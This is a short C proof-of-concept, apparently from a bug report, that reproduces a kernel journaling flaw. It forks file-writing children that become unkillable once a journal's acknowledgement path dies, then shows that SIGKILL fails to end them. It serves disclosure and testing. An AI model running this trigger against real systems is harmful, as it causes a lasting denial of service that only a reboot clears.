DF-2748 / df2748.c
/* * DF-2748 PoC: full-duplex journal ack-path death -> permanent * uninterruptible writer wedge (tsleep "jwrite", vfs_journal.c:547). * * Preconditions (set up by the harness before running this): * mountctl -2 -w /root/j2.bin -o memfifo=65536 wedge:/tmp * The rthread fp_read()s the (empty) regular file target, gets EOF, * and exits immediately => xindex is frozen forever. Once the 64KB * memfifo accumulates 64KB of un-acked stream bytes, journal_reserve() * sleeps uninterruptibly forever => writer wedged in-kernel, unkillable. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <signal.h> #include <sys/wait.h> int main(int ac, char **av) { const char *dir = av[1]; pid_t pids[2]; int i, t; for (i = 0; i < 2; i++) { pid_t pid = fork(); if (pid == 0) { char path[256], buf[4096]; int n = 0, fd; setvbuf(stdout, NULL, _IONBF, 0); memset(buf, 'A' + i, sizeof(buf)); for (;;) { snprintf(path, sizeof(path), "%s/w%d_%d", dir, i, n++); fd = open(path, O_CREAT|O_WRONLY|O_TRUNC, 0666); if (fd < 0) { perror("child open"); _exit(1); } printf("child %d: created+wrote file #%d\n", i, n); if (write(fd, buf, sizeof(buf)) != sizeof(buf)) { printf("child %d: write returned! errno=%d\n", i, errno); _exit(2); } close(fd); unlink(path); } } pids[i] = pid; } for (t = 1; t <= 12; t++) { int alivectl = 0; sleep(5); for (i = 0; i < 2; i++) { char cmd[160]; int status; snprintf(cmd, sizeof(cmd), "ps -o pid,state,wchan,comm -p %d | tail -1", pids[i]); printf("[t+%02ds] child %d: ", t * 5, i); fflush(stdout); if (system(cmd) == 0) alivectl++; if (waitpid(pids[i], &status, WNOHANG) > 0) printf(" child %d EXITED status=%d\n", i, status); } if (t == 3) { printf(">>> sending SIGKILL to both children\n"); kill(pids[0], SIGKILL); kill(pids[1], SIGKILL); } } printf("RESULT: after 60s incl. SIGKILL: children still in kernel\n"); return 0; } |